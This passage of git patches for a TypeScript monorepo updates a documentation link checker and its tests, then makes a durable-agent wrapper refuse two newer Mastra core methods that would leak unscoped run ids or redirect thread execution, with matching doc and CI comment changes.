Sink failure containment and ring buffer | In-memory buffer is not durable and can drop old events | | Notification exposes reviewer payload | Host projection obligation | Flowsafe cannot know the trust level of a transport | | Stream ticket replay | Short TTL, HMAC, address binding, Worker verification | Ticket in logs or browser history is usable until expiry | diff --git a/scripts/build-api-docs.mjs b/scripts/build-api-docs.mjs index 0a01ff42..2ececdbd 100644 --- a/scripts/build-api-docs.mjs +++ b/scripts/build-api-docs.mjs @@ -120,8 +120,8 @@ const temporaryDirectory = mkdtempSync(join(tmpdir(), 'anchorage-api-docs-')); const revision = gitRevision(); try { - // Flowsafe too: the fleet-control pass typechecks against its dist, and - // this script must work on a tree where CI's Build step has not run. + // Flowsafe too: the fleet-control pass typechecks against Flowsafe's dist, + // and this script must work on a tree where CI's Build step has not run. run(pnpm, [ '--filter', '@proofoftech/breakwater', diff --git a/scripts/docs-check.mjs b/scripts/docs-check.mjs index 74784bb9..30b4c22e 100644 --- a/scripts/docs-check.mjs +++ b/scripts/docs-check.mjs @@ -32,6 +32,7 @@ const INTERNAL_MILESTONE_PATTERN = /\b(?:CI-M-\d{3}(?:-\d{3})?|DL-\d{3}|INV-\d+|M-\d{3}|RA-\d{3}|[A-Z]-S\d+|R-[A-Z0-9][A-Z0-9-]*|[A-Z]-D\d+|D(?:[2-9]|\d{2,})|F\d+|P\d+(?:-lite)?|Track [A-Z]|Phase \d+)\b/g; const VOLATILE_COUNT_PATTERN = /(?` pin) is left to the -// `--external` run, which fetches it and fails on 404/410; that run cannot see -// a bad fragment, because GitHub answers 200 for one. +// A copy-ready README cannot carry a relative link out of its package, so it +// names such a file or heading through the permanent GitHub URL instead. +// Resolve that URL back into this repository, with or without a fragment, and +// report the first message `localTargetError`, `internalFileError` or +// `absoluteAnchorError` returns. The package-boundary guard stays on the +// relative branch, because a permanent GitHub URL is the remedy it prescribes. +// A URL that does not match the prefix (another host, a `tree/` path, a +// `blob/` pin) is left to the `--external` run, which fetches it and +// fails on 404/410; that run cannot see a bad fragment, because GitHub answers +// 200 for one. function repositoryBlobTarget(root, target) { if (!target.startsWith(REPOSITORY_BLOB_PREFIX)) return undefined; const split = splitLocalTarget(target.slice(REPOSITORY_BLOB_PREFIX.length)); @@ -403,17 +405,25 @@ function checkLocalLinks(root, markdownFiles, manifests) { // Shared by both link branches like the diagnostics above, but declared // here because it reads the anchor cache. A link with no fragment has // nothing to check. - const anchorError = (resolved, anchor) => { + const anchorError = (resolved) => { if ( - anchor && + resolved.anchor && extname(resolved.path).toLowerCase() === '.md' && - !anchorsFor(resolved.path).has(anchor) + !anchorsFor(resolved.path).has(resolved.anchor) ) { - return `Markdown anchor does not exist: #${anchor}`; + return `Markdown anchor does not exist: #${resolved.anchor}`; } return undefined; }; + // A permanent GitHub URL can address a line or a line range with GitHub's + // own `#L12`, `#L12-L20` or column-qualified grammar, which names no + // Markdown heading. + const absoluteAnchorError = (resolved) => + GITHUB_LINE_FRAGMENT_PATTERN.test(resolved.anchor ?? '') + ? undefined + : anchorError(resolved); + for (const sourceFile of markdownFiles) { const markdown = readFileSync(sourceFile, 'utf8'); const packageContext = shippedPackageContext(sourceFile, manifests); @@ -453,7 +463,7 @@ function checkLocalLinks(root, markdownFiles, manifests) { const message = localTargetError(inRepository, link.target) ?? internalFileError(root, sourceFile, inRepository, link.target) ?? - anchorError(inRepository, inRepository.anchor); + absoluteAnchorError(inRepository); if (message) { errors.push(diagnostic(root, sourceFile, link.line, message)); } @@ -508,7 +518,7 @@ function checkLocalLinks(root, markdownFiles, manifests) { } } - const anchorMessage = anchorError(resolved, resolved.anchor); + const anchorMessage = anchorError(resolved); if (anchorMessage) { errors.push(diagnostic(root, sourceFile, link.line, anchorMessage)); } @@ -798,15 +808,15 @@ function markdownGraph(root, markdownFiles) { for (const sourceFile of markdownFiles) { const targets = new Set(); for (const link of collectMarkdownLinks(readFileSync(sourceFile, 'utf8'))) { + if (!link.target || isIgnoredScheme(link.target)) continue; + // A permanent GitHub URL into this repository is an edge like a + // relative link, so reachability resolves it the way `checkLocalLinks` + // does. + const resolved = isExternal(link.target) + ? repositoryBlobTarget(root, link.target) + : resolveLocalTarget(root, sourceFile, link.target); if ( - !link.target || - isExternal(link.target) || - isIgnoredScheme(link.target) - ) { - continue; - } - const resolved = resolveLocalTarget(root, sourceFile, link.target); - if ( + resolved && !resolved.outsideRoot && existsSync(resolved.path) && extname(resolved.path).toLowerCase() === '.md' && diff --git a/scripts/docs-check.test.mjs b/scripts/docs-check.test.mjs index 06f9f4f4..27a3b05a 100644 --- a/scripts/docs-check.test.mjs +++ b/scripts/docs-check.test.mjs @@ -227,11 +227,12 @@ test('relative links obey the internal-file policy', () => { ); }); -test('absolute repository links resolve their Markdown anchors', () => { +test('absolute repository links resolve target files and Markdown anchors', () => { const root = fixture({ 'packages/example/README.md': `# Example -[Guide](https://github.com/ProofOfTechOrg/anchorage/blob/main/docs/guide.md#target-heading) +[Anchored](https://github.com/ProofOfTechOrg/anchorage/blob/main/docs/guide.md#target-heading) +[Whole file](https://github.com/ProofOfTechOrg/anchorage/blob/main/docs/guide.md) `, 'docs/guide.md': '# Target heading\n', }); @@ -278,7 +279,8 @@ test('absolute repository links fail on a missing target file', () => { const root = fixture({ 'packages/example/README.md': `# Example -[Guide](https://github.com/ProofOfTechOrg/anchorage/blob/main/docs/missing.md#target-heading) +[Anchored](https://github.com/ProofOfTechOrg/anchorage/blob/main/docs/missing.md#target-heading) +[Whole file](https://github.com/ProofOfTechOrg/anchorage/blob/main/docs/missing.md) `, }); @@ -293,6 +295,7 @@ test('absolute repository links fail on a missing target file', () => { result.errors.map((error) => error.message), [ 'link target does not exist: https://github.com/ProofOfTechOrg/anchorage/blob/main/docs/missing.md#target-heading', + 'link target does not exist: https://github.com/ProofOfTechOrg/anchorage/blob/main/docs/missing.md', ], ); }); @@ -301,7 +304,8 @@ test('absolute repository links fail on a path that escapes the repository', () const outer = fixture({ 'repo/packages/example/README.md': `# Example -[Guide](https://github.com/ProofOfTechOrg/anchorage/blob/main/../outside.md#target-heading) +[Anchored](https://github.com/ProofOfTechOrg/anchorage/blob/main/../outside.md#target-heading) +[Whole file](https://github.com/ProofOfTechOrg/anchorage/blob/main/../outside.md) `, 'outside.md': '# Target heading\n', }); @@ -318,21 +322,28 @@ test('absolute repository links fail on a path that escapes the repository', () result.errors.map((error) => error.message), [ 'link escapes the repository: https://github.com/ProofOfTechOrg/anchorage/blob/main/../outside.md#target-heading', + 'link escapes the repository: https://github.com/ProofOfTechOrg/anchorage/blob/main/../outside.md', ], ); }); -test('fragment-less absolute repository links fail on a missing target file', () => { +test('absolute repository links accept GitHub line fragments', () => { const root = fixture({ 'packages/example/README.md': `# Example -[Guide](https://github.com/ProofOfTechOrg/anchorage/blob/main/docs/missing.md) +[Line](https://github.com/ProofOfTechOrg/anchorage/blob/main/docs/guide.md#L12) +[Range](https://github.com/ProofOfTechOrg/anchorage/blob/main/docs/guide.md#L12-L20) +[Missing line](https://github.com/ProofOfTechOrg/anchorage/blob/main/docs/missing.md#L12) `, + 'docs/guide.md': '# Target heading\n', }); const result = checkRepository({ root, - markdownFiles: markdownFiles(root, ['packages/example/README.md']), + markdownFiles: markdownFiles(root, [ + 'packages/example/README.md', + 'docs/guide.md', + ]), packageChecks: false, orphanChecks: false, }); @@ -340,32 +351,40 @@ test('fragment-less absolute repository links fail on a missing target file', () assert.deepEqual( result.errors.map((error) => error.message), [ - 'link target does not exist: https://github.com/ProofOfTechOrg/anchorage/blob/main/docs/missing.md', + 'link target does not exist: https://github.com/ProofOfTechOrg/anchorage/blob/main/docs/missing.md#L12', ], ); }); -test('fragment-less absolute repository links fail on an escaping path', () => { - const outer = fixture({ - 'repo/packages/example/README.md': `# Example +test('reachability follows absolute repository links into the docs tree', () => { + const root = fixture({ + 'docs/README.md': `# Documentation -[Guide](https://github.com/ProofOfTechOrg/anchorage/blob/main/../outside.md) +[Guide](guide.md) `, - 'outside.md': '# Target heading\n', + 'docs/guide.md': `# Guide + +[Reference](https://github.com/ProofOfTechOrg/anchorage/blob/main/docs/reference.md) +`, + 'docs/reference.md': '# Reference\n', + 'docs/unlinked.md': '# Unlinked\n', }); - const root = join(outer, 'repo'); const result = checkRepository({ root, - markdownFiles: markdownFiles(root, ['packages/example/README.md']), + markdownFiles: markdownFiles(root, [ + 'docs/README.md', + 'docs/guide.md', + 'docs/reference.md', + 'docs/unlinked.md', + ]), packageChecks: false, - orphanChecks: false, }); assert.deepEqual( - result.errors.map((error) => error.message), + result.errors.map((error) => `${error.file}: ${error.message}`), [ - 'link escapes the repository: https://github.com/ProofOfTechOrg/anchorage/blob/main/../outside.md', + 'docs/unlinked.md: guide is not reachable from a public documentation index', ], ); }); From f05e598a2f2dd17613fe7d4376dfa6cae0012bda Mon Sep 17 00:00:00 2001 From: gcharang <21151592+gcharang@users.noreply.github.com> Date: Thu, 17 Sep 2026 05:27:22 +0400 Subject: [PATCH 167/169] fix(flowsafe): refuse two newer-core agent entries, classify the rest FlowsafeDurableAgent throws on __setThreadRuntimeAgent() and listActiveThreadRuns(), which Mastra cores newer than the declared peer expose. The first installs a different agent as the target every thread-runtime path resolves through, so one call moves subscribeToThread(), claimThreadOwnership(), sendMessage(), queueMessage() and sendStateSignal() onto an agent carrying none of this class's overrides. The second takes no arguments and returns the run, thread and resource ids of every thread tracked on the pub/sub instance, which core keys by instance rather than by agent, so it scopes by neither principal nor agent. The pinned 1.53.0 exposes neither member. The durable agent surface test records, per member whose prototype level differs between the pinned core and the newest 1.x core, the level it sits on at each version; it derives each level's stale exemptions from that table and asserts the table's claim about the installed core. Both unclassified checks stay exact, and the Agent-level count comes from the installed surface rather than the literal 82. Breakwater's Agent.prototype inventory gains five newer-core members in explicitlyNonExecution and in forwardClassified. The mastra-compat workflow comment states what the run reports: both packages' surface inventories classify the newest core's members, and notification-source-keys.test.ts reports whether that core still needs the pinned patch. The durable agents guide names the two refusals and states that the controller's active-thread-run aggregation reaches the listActiveThreadRuns() refusal. The maintainer guide scopes the canary expectation to a core that still ships the two patched defects, records that @mastra/core 1.67.0 carries both fixes upstream while retirement waits on adopting such a release, and names both two-core allowances the pin move prunes: breakwater's forwardClassified and the surface test's VERSION_SKEW. Changeset: forward-classified-core-members (flowsafe patch). Co-Authored-By: Claude Fable 5.1 --- .changeset/forward-classified-core-members.md | 7 + .github/workflows/ci.yml | 12 +- docs/durable-agents.md | 6 +- docs/maintainer-guide.md | 4 +- packages/breakwater/src/agent/agent.test.ts | 21 + .../src/agent-runner/durable-agent-runner.ts | 104 ++++- .../durable-agent-surface.test.ts | 376 ++++++++++++++++-- 7 files changed, 481 insertions(+), 49 deletions(-) create mode 100644 .changeset/forward-classified-core-members.md diff --git a/.changeset/forward-classified-core-members.md b/.changeset/forward-classified-core-members.md new file mode 100644 index 00000000..5fba5538 --- /dev/null +++ b/.changeset/forward-classified-core-members.md @@ -0,0 +1,7 @@ +--- +'@proofoftech/flowsafe': patch +--- + +Refuse two `Agent` entry points that `@mastra/core` releases newer than the declared peer expose. `FlowsafeDurableAgent.listActiveThreadRuns()` throws instead of returning the run, thread and resource ids of every thread tracked on the pub/sub instance, which Core scopes by neither principal nor agent. `FlowsafeDurableAgent.__setThreadRuntimeAgent()` throws instead of installing another agent as the target the thread runtime drives for `subscribeToThread()`, `claimThreadOwnership()`, `sendMessage()`, `queueMessage()` and `sendStateSignal()` — an agent that would carry none of the wrapper's guards. Both refusals carry the reason table's message, and an installed 1.53.0 exposes neither member, so no call that resolves today changes. + +The durable-agent surface inventory now holds against the pinned peer and against newer 1.x releases together. It records, per member whose presence differs between them, the prototype level each core places it on, and still fails on any member no list classifies. diff --git a/.github/workflows/ci.yml b/.github/workflows/ci.yml index 2fbadb25..cf8335cd 100644 --- a/.github/workflows/ci.yml +++ b/.github/workflows/ci.yml @@ -251,11 +251,13 @@ jobs: # to @mastra/core@1.53.0 through pnpm.patchedDependencies, and pnpm # refuses an install whose patch targets a version no longer in the # graph. This job drops that entry in its disposable checkout and - # resolves the newest core unpatched, so constructing a delivering - # notification dispatch tick, and ingesting or dispatching notifications - # through the thread routes, refuse with a message naming the patch and - # notification-source-keys.test.ts reports its probe cases as the - # readable signal. See the maintainer guide's Mastra compatibility + # resolves the newest core unpatched. What the run then reports is two + # things: both packages' surface inventories classify the newest core's + # members, so a red one names the member nobody has read yet; and + # notification-source-keys.test.ts reports whether that core still needs + # the pinned patch — its probe cases fail and its patched-behavior blocks + # skip while the seam is open upstream, and both go green on a core that + # carries the fixes. See the maintainer guide's Mastra compatibility # section. - name: Bump @mastra/core to newest 1.x id: mastra_versions diff --git a/docs/durable-agents.md b/docs/durable-agents.md index 5c5b6c3e..cba1263f 100644 --- a/docs/durable-agents.md +++ b/docs/durable-agents.md @@ -189,13 +189,13 @@ This wrapper does not add the guarded-agent brand or catalog authorization to a The runner refuses every inherited entry point that falls under one of four grounds: - **Re-drives a persisted run below `RunnerRuntime`.** The recovery pair `recover()` and `recoverActiveRuns()` that Mastra 1.53.0 added, and the resume family `resume()`, `resumeStream()`, `resumeGenerate()`, `approveToolCall()`, `declineToolCall()`, `approveToolCallGenerate()`, and `declineToolCallGenerate()`, which since that release rehydrate from snapshot storage on a run-registry miss. -- **Discovers runs without the host topology's per-principal ownership checks**, returning run, thread, and resource ids the caller does not own: the recovery discovery API `listActiveRuns()`, and the agent-level `listSuspendedRuns()`. +- **Discovers runs without the host topology's per-principal ownership checks**, returning run, thread, and resource ids the caller does not own: the recovery discovery API `listActiveRuns()`, the agent-level `listSuspendedRuns()`, and — on Mastra releases newer than the declared peer, which add it — `listActiveThreadRuns()`, which takes no arguments and returns those ids for every thread tracked on the pub/sub instance, scoped by neither principal nor agent. - **Deletes snapshot rows that deployment-scoped retention owns**: `deleteRunSnapshots()`. -- **Is a second execution surface outside `RunnerRuntime`, or mints a run id below the caller.** The network family `network()`, `resumeNetwork()`, `approveNetworkToolCall()`, and `declineNetworkToolCall()` compile and drive the multi-agent loop's own workflow with `createRun` plus `run.stream` or `run.resumeStream` on the default engine. The AI SDK v4 legacy pair `generateLegacy()` and `streamLegacy()` run the agent's tools through Mastra's legacy handler, skipping the authorization check every supported entry point calls. And `sendToolApproval()` reads like a resume but starts a run through the thread runtime's continuation when given messages. Four of these generate a run id when the caller omits one — `network()`, `generateLegacy()`, `streamLegacy()`, and `sendToolApproval()` through the thread runtime's continuation — which is the unowned-run-id fallback Flowsafe refuses everywhere else, so blocking them extends the host-minted run id rule that `stream()`, `generate()`, and `prepare()` already enforce across the whole inherited surface. +- **Is a second execution surface outside `RunnerRuntime`, or mints a run id below the caller.** The network family `network()`, `resumeNetwork()`, `approveNetworkToolCall()`, and `declineNetworkToolCall()` compile and drive the multi-agent loop's own workflow with `createRun` plus `run.stream` or `run.resumeStream` on the default engine. The AI SDK v4 legacy pair `generateLegacy()` and `streamLegacy()` run the agent's tools through Mastra's legacy handler, skipping the authorization check every supported entry point calls. And `sendToolApproval()` reads like a resume but starts a run through the thread runtime's continuation when given messages. Four of these generate a run id when the caller omits one — `network()`, `generateLegacy()`, `streamLegacy()`, and `sendToolApproval()` through the thread runtime's continuation — which is the unowned-run-id fallback Flowsafe refuses everywhere else, so blocking them extends the host-minted run id rule that `stream()`, `generate()`, and `prepare()` already enforce across the whole inherited surface. On releases newer than the declared peer, `__setThreadRuntimeAgent()` is refused on the same ground without starting anything itself: it installs the agent the thread runtime drives for `subscribeToThread()`, `claimThreadOwnership()`, `sendMessage()`, `queueMessage()`, and `sendStateSignal()`, and those five are contained by this class's overrides only while that target resolves to this instance. All blocked inherited entries throw. `resumeViaRuntime()` is the only resume path, and host starts use `streamUntilPersisted()`. -Mastra's own host features that reach a run through a blocked entry fail closed by design: the agent-controller session's chat tool approval calls `sendToolApproval()`, now blocked outright; its thread resume reaches `sendStreamResume()` and an until-idle resume reaches `resumeStreamUntilIdle()`, both of which land on the blocked `resumeStream()` by virtual dispatch. The five signal and message senders (`sendMessage()`, `queueMessage()`, `sendSignal()`, `sendStateSignal()`, `sendNotificationSignal()`) remain inherited because every run outcome they can produce lands on the runner's terminal path, not because every sender still has a route caller. The `queue` and `state` routes persist rather than wake on idle. Owner notifications follow Mastra's delivery policy and treat their model-visible memory write as best-effort; non-owner notifications enter the durable inbox for the trusted dispatcher. Other persist outcomes require agent memory and return `memory-unavailable` without it. A default or `ifIdle: 'persist'` message or signal still delivers into an active run without memory; the memory gate responds only when core's outcome for the request replaced a persist (an idle discard substituted for a requested persist, or an active persist that no memory could write). If a direct sender call or Mastra completion drain reaches core's run-id mint, the runner persists the input when allowed, emits a terminal error, and lets Mastra clean up the thread state without entering `RunnerRuntime`. +Mastra's own host features that reach a run through a blocked entry fail closed by design: the agent-controller session's chat tool approval calls `sendToolApproval()`, now blocked outright; its active-thread-run aggregation calls `listActiveThreadRuns()` on every backing agent, refused on newer cores under the discovery ground above, so that aggregation throws on a controller the tool-approval block already made unusable here; its thread resume reaches `sendStreamResume()` and an until-idle resume reaches `resumeStreamUntilIdle()`, both of which land on the blocked `resumeStream()` by virtual dispatch. The five signal and message senders (`sendMessage()`, `queueMessage()`, `sendSignal()`, `sendStateSignal()`, `sendNotificationSignal()`) remain inherited because every run outcome they can produce lands on the runner's terminal path, not because every sender still has a route caller. The `queue` and `state` routes persist rather than wake on idle. Owner notifications follow Mastra's delivery policy and treat their model-visible memory write as best-effort; non-owner notifications enter the durable inbox for the trusted dispatcher. Other persist outcomes require agent memory and return `memory-unavailable` without it. A default or `ifIdle: 'persist'` message or signal still delivers into an active run without memory; the memory gate responds only when core's outcome for the request replaced a persist (an idle discard substituted for a requested persist, or an active persist that no memory could write). If a direct sender call or Mastra completion drain reaches core's run-id mint, the runner persists the input when allowed, emits a terminal error, and lets Mastra clean up the thread state without entering `RunnerRuntime`. Leave `recovery.durableAgents` at its default `'off'`. Setting it to `'auto'` makes Mastra call `recoverActiveRuns()` on every registered durable agent at boot; each refusal is caught by Mastra's own per-agent handler, which logs `Failed to recover active runs for durable agent`. Flowsafe does not log it. diff --git a/docs/maintainer-guide.md b/docs/maintainer-guide.md index 8bd092b4..b8500011 100644 --- a/docs/maintainer-guide.md +++ b/docs/maintainer-guide.md @@ -104,7 +104,7 @@ CI tests the declared supported peer version as part of the normal gate. A separ Treat a red canary as a release investigation even though it does not block a merge. Update the declared peer range only after tests, workerd proofs, package tarball probes, and migration notes pass. -The canary drops the workspace's `pnpm.patchedDependencies` entry before it resolves the newest core, so it runs unpatched. While upstream carries [mastra-ai/mastra#23693](https://github.com/mastra-ai/mastra/issues/23693) and [mastra-ai/mastra#23694](https://github.com/mastra-ai/mastra/issues/23694), expect `notification-source-keys.test.ts` to report its probe cases failed and its patched-behavior blocks skipped, and expect the flowsafe suites that construct a delivering `createNotificationDispatchTick()`, or ingest or dispatch notifications through `createThreadSignalRoutes()`, against the installed core to fail with the refusal naming the patch; `notification-dispatch.patch-seam.test.ts` mocks Core's `summarizeNotifications` with the unpatched accumulator and passes either way. A canary that goes green against a newer core — its probe cases passing, and the patched-behavior blocks those cases gate running green rather than skipping — is the signal that the patch can be retired, through the procedure below. +The canary drops the workspace's `pnpm.patchedDependencies` entry before it resolves the newest core, so it runs unpatched. Against a core that still ships the defects [mastra-ai/mastra#23693](https://github.com/mastra-ai/mastra/issues/23693) and [mastra-ai/mastra#23694](https://github.com/mastra-ai/mastra/issues/23694) describe, expect `notification-source-keys.test.ts` to report its probe cases failed and its patched-behavior blocks skipped, and expect the flowsafe suites that construct a delivering `createNotificationDispatchTick()`, or ingest or dispatch notifications through `createThreadSignalRoutes()`, against the installed core to fail with the refusal naming the patch; `notification-dispatch.patch-seam.test.ts` mocks Core's `summarizeNotifications` with the unpatched accumulator and passes either way. A canary that goes green against a newer core — its probe cases passing, and the patched-behavior blocks those cases gate running green rather than skipping — is the signal that the patch can be retired, through the procedure below. That signal has fired: `@mastra/core` 1.67.0 carries both patch subjects upstream — `Object.hasOwn` on `config.sources` in `resolveNotificationDeliveryDecision`, and a null-prototype `bySource` in `summarizeNotifications` — so against it the probe cases pass, the patched-behavior blocks run rather than skip, and `assertNotificationSourceKeysPatched()` and `assertNotificationDeliveryPolicyPatched()` return instead of throwing. Retirement follows adopting a release that carries those fixes, not the canary going green: until the declared peer moves, the patch, its guards and the expectation above all stand. Retiring the `@mastra/core` patch, once a release carrying the upstream fixes is adopted, reaches: @@ -129,7 +129,7 @@ A changeset describing the patch clears itself at release. The canary's typecheck and test steps cannot see a published-dist bundling regression: neither links Mastra's shipped output through a bundler. `pnpm --filter @proofoftech/flowsafe spike:bundle-check` is the canary's bundling proof, and against the pinned peer that role belongs to `spike:verify` and the showcase build inside `verify-core`. Note that its `--outdir .wrangler/bundle-check` resolves relative to the wrangler CONFIG directory, not the working directory, so the output lands in `packages/flowsafe/spike/.wrangler/bundle-check`; a working-directory-relative path silently writes one level deeper, outside the ignored path. The bundle step carries its own `continue-on-error` so an expected upstream failure still lets the tripwire suites after it run. -A second tripwire guards the durable agent surface. `packages/flowsafe/src/agent-runner/durable-agent-surface.test.ts` classifies every own member of Mastra's `DurableAgent.prototype`, and fails on any member the file does not classify. On a core upgrade it therefore demands reading the new member's implementation in the installed dist before classifying it — as a guarded entry point, a delegator, a refusal, or something that cannot drive a run. Never satisfy it by widening the non-execution list without that read. It pins the inherited `Agent.prototype` members the same way, since Mastra calls the agent instance and the instance inherits both surfaces. Breakwater carries its own inventory of `Agent.prototype` in `packages/breakwater/src/agent/agent.test.ts`, classifying the same surface for what a narrowed guarded handle may expose. The maintenance contract on a core bump: the reason table in `durable-agent-runner.ts` is authoritative, the surface test is what forces the read, the runner's module comment and [Durable agents](durable-agents.md) are updated from the table in the same commit — never left to drift behind it — and Breakwater's `forwardClassified` allowlist is pruned of every name the new pin now exposes, which its own test asserts. The `@mastra/core` patch is retired or re-cut in the same commit, through the procedure above. +A second tripwire guards the durable agent surface. `packages/flowsafe/src/agent-runner/durable-agent-surface.test.ts` classifies every own member of Mastra's `DurableAgent.prototype`, and fails on any member the file does not classify. On a core upgrade it therefore demands reading the new member's implementation in the installed dist before classifying it — as a guarded entry point, a delegator, a refusal, or something that cannot drive a run. Never satisfy it by widening the non-execution list without that read. It pins the inherited `Agent.prototype` members the same way, since Mastra calls the agent instance and the instance inherits both surfaces. Breakwater carries its own inventory of `Agent.prototype` in `packages/breakwater/src/agent/agent.test.ts`, classifying the same surface for what a narrowed guarded handle may expose. The maintenance contract on a core bump: the reason table in `durable-agent-runner.ts` is authoritative, the surface test is what forces the read, the runner's module comment and [Durable agents](durable-agents.md) are updated from the table in the same commit — never left to drift behind it — and both two-core allowances are pruned when the pin moves — Breakwater's `forwardClassified` of every name the new pin now exposes, and the surface test's `VERSION_SKEW` of every row whose two levels the new pin makes agree — which their own tests assert. The `@mastra/core` patch is retired or re-cut in the same commit, through the procedure above. Per-suspension deadlines couple to one undocumented Mastra behavior: a step arms a deadline through a reserved key in the payload it hands `suspend()`, which only reaches flowsafe because Mastra substitutes the schema-parsed suspend payload into the run summary (verified in the declared peer, 1.53.0). A change there — a different substitution, a different key for a nested suspension, or resume-data validation moving — silently disarms every deadline. Tripwire tests in `packages/flowsafe/src/do-runner/runtime.test.ts` pin the observed behavior: the reserved key surviving a schema that declares it, being stripped by a strict schema that does not, surviving a loose schema, and a nested suspension being refused rather than armed. Check them on every Mastra upgrade and treat a failure as a behavior change to document, never as a test to relax. diff --git a/packages/breakwater/src/agent/agent.test.ts b/packages/breakwater/src/agent/agent.test.ts index 7c8023fe..f941fd21 100644 --- a/packages/breakwater/src/agent/agent.test.ts +++ b/packages/breakwater/src/agent/agent.test.ts @@ -872,6 +872,11 @@ describe('Mastra Agent execution-entry inventory', () => { '__setDeclaredSchedules', '__setMemory', '__setPubSub', + // Installs another agent as the target the thread runtime drives. The + // narrowed handle omits it rather than throwing, so nothing reaches it + // through this surface; flowsafe blocks the same member on its INSTANCE, + // which Mastra calls in-process. + '__setThreadRuntimeAgent', '__setTools', '__setWorkspace', '__updateInstructions', @@ -879,12 +884,21 @@ describe('Mastra Agent execution-entry inventory', () => { 'assertSupportsPreparedModels', 'agent', 'browser', + // Cancels queued idle signals; it can stop pending work, never start it. + 'cancelQueuedMessages', + // Opts the agent in as a thread's remote wake target, leaving a live + // subscription behind. The handle omits it, so no caller can take that + // claim through this surface. + 'claimThreadOwnership', 'clearObjective', 'combineProcessorsIntoWorkflow', 'constructor', 'convertTools', 'deriveSubAgentBackgroundConfig', 'disableBackgroundTasks', + // Returns the peer advertisements one pub/sub instance carries; no run + // ids, and nothing to drive. + 'discoverThreadPeers', 'durable', 'enableBackgroundTasks', // Pure title-generation prefilter; it cannot initiate agent execution. @@ -980,6 +994,8 @@ describe('Mastra Agent execution-entry inventory', () => { 'setChannels', 'setObjective', 'stripParentToolParts', + // Registers a queued-message-count listener; it drives nothing. + 'subscribeThreadEvents', 'subscribeToThread', 'updateModelInModelList', 'updateObjectiveOptions', @@ -995,10 +1011,15 @@ describe('Mastra Agent execution-entry inventory', () => { const forwardClassified = [ '__markStoredVersionApplied', '__setDeclaredSchedules', + '__setThreadRuntimeAgent', + 'cancelQueuedMessages', + 'claimThreadOwnership', + 'discoverThreadPeers', 'filterUiMessagesByThread', 'getDeclaredSchedules', 'listActiveThreadRuns', 'resolveNotificationDeliveryDecision', + 'subscribeThreadEvents', ]; const classified = [ ...wrapped, diff --git a/packages/flowsafe/src/agent-runner/durable-agent-runner.ts b/packages/flowsafe/src/agent-runner/durable-agent-runner.ts index 9966f494..825feae4 100644 --- a/packages/flowsafe/src/agent-runner/durable-agent-runner.ts +++ b/packages/flowsafe/src/agent-runner/durable-agent-runner.ts @@ -200,12 +200,54 @@ // resumeNetwork, approveNetworkToolCall, declineNetworkToolCall, // generateLegacy, streamLegacy and sendToolApproval are all // `intentionallyUnavailable` (packages/breakwater/src/agent/agent.test.ts:824). -// It diverges on listSuspendedRuns (:955), which it files under -// `explicitlyNonExecution` — the same divergence as listActiveRuns (:935), and +// It diverges on listSuspendedRuns (:969), which it files under +// `explicitlyNonExecution` — the same divergence as listActiveRuns (:949), and // for the same reason: a narrowed HANDLE can only omit, so a data-returning // member is harmless there, while an INSTANCE Mastra calls in-process must // throw. // +// Two more Agent-level members are blocked for cores NEWER than the pin. Read +// from the @mastra/core 1.67.0 dist, which the mastra-compat canary installs; +// offsets here are 1.67.0-vintage, in agent-Dk0N0Nlg.js unless another file is +// named, and the 1.53.0 offsets above are left as the provenance of that read. +// The pinned peer exposes neither member, so on 1.53.0 each refusal stands +// where the base would have raised a TypeError, and shadows a real +// implementation only once the peer moves. +// +// - listActiveThreadRuns() (:38214) is the discovery ground one scope wider +// than listActiveRuns. It takes no arguments and returns `{ runId, +// resourceId, threadId }` for every tracked thread on the pubsub instance +// (storage-MbGlKLkB.js:1011-1023), and that state is keyed by pubsub +// instance rather than by agent (`#statesByPubSub`, :150, read through +// #getState :294), so it narrows by neither principal nor agent where the +// two listings above at least narrow by agentId. The in-process sibling +// getActiveThreadRunId() stays non-execution because it makes the caller +// name the (resourceId, threadId) pair: it confirms where this enumerates. +// Breakwater files it `explicitlyNonExecution` (agent.test.ts:950) — the +// same handle-versus-instance divergence recorded just above, and recorded +// here for the same reason. Cost, stated rather than left to be +// rediscovered: core's AgentController aggregates this member across its +// backing agents (agent-controller-CKgKFyMR.js:5722-5725), so that +// aggregation now throws. It is already unusable over this class — the same +// controller calls the blocked sendToolApproval() at :4089 and :4118. +// - __setThreadRuntimeAgent() (:33609) installs another agent as the target +// every thread-runtime path resolves through #getThreadRuntimeAgent() +// (:33612, `this.#threadRuntimeAgent ?? this`): subscribeToThread +// (:38197), claimThreadOwnership (:38203), sendMessage (:38331), +// queueMessage (:38337) and sendStateSignal (:38355). That is the fourth +// ground by installation rather than by call: the containment those +// inherited members rely on IS virtual dispatch on `this`, so one call +// moves all five onto an agent carrying none of these overrides — no +// caller-minted runId assertion, no executeWorkflow, no #startRequesters +// backstop. It is public in the type surface (agent.d.ts:229 declares it +// with no modifier), so unlike getLegacyHandler it takes no private cast. +// +// Neither carries the `override` keyword, and that is load-bearing rather than +// an oversight: TypeScript rejects `override` on a member the base does not +// declare, and 1.53.0 declares neither, so the keyword would fail the pinned +// typecheck that gates every merge. Each signature must still satisfy the base +// it acquires on newest; the caveat on each member says how. +// // Blocking them keeps the single-resume and no-capability guarantees true by // construction: resumeViaRuntime() is the ONLY way a run resumes. // ApprovalService.decide -> the host's ResumeRunFn -> @@ -557,8 +599,9 @@ const THREAD_TOOL_APPROVAL_REASON = * 3. snapshot deletion owned by deployment-scoped retention; * 4. a SECOND execution surface that runs the agent outside RunnerRuntime * entirely, or that mints a run id below the caller — the network loop's - * own workflow, the legacy handler, and the thread runtime's tool-approval - * continuation. + * own workflow, the legacy handler, the thread runtime's tool-approval + * continuation, and the setter that installs a different agent as the + * thread runtime's execution target. * * Deliberately NOT re-exported from `./index.js` (a named-exports-only barrel), * so this stays off the public `@proofoftech/flowsafe/agent-runner` subpath. @@ -579,6 +622,8 @@ export const BLOCKED_RUN_ENTRIES = { "core scopes the running-run listing by agentId plus the caller's own optional thread and resource ids, never by per-principal ownership, so it bypasses the host topology's run-ownership checks and returns run, thread and resource ids the caller does not own", listSuspendedRuns: "core scopes the suspended-run listing by agentId plus the caller's own optional thread and resource ids, never by per-principal ownership, so it bypasses the host topology's run-ownership checks and returns run, thread and resource ids the caller does not own", + listActiveThreadRuns: + 'core scopes the active thread-run listing by nothing at all: it takes no arguments and returns the run, thread and resource ids of every thread tracked on the pubsub instance, which core keys by pubsub instance rather than by agent, so it enumerates ids across every principal AND every agent that shares the instance', deleteRunSnapshots: 'durable-agent snapshot rows are retained until deployment-scoped retention purge 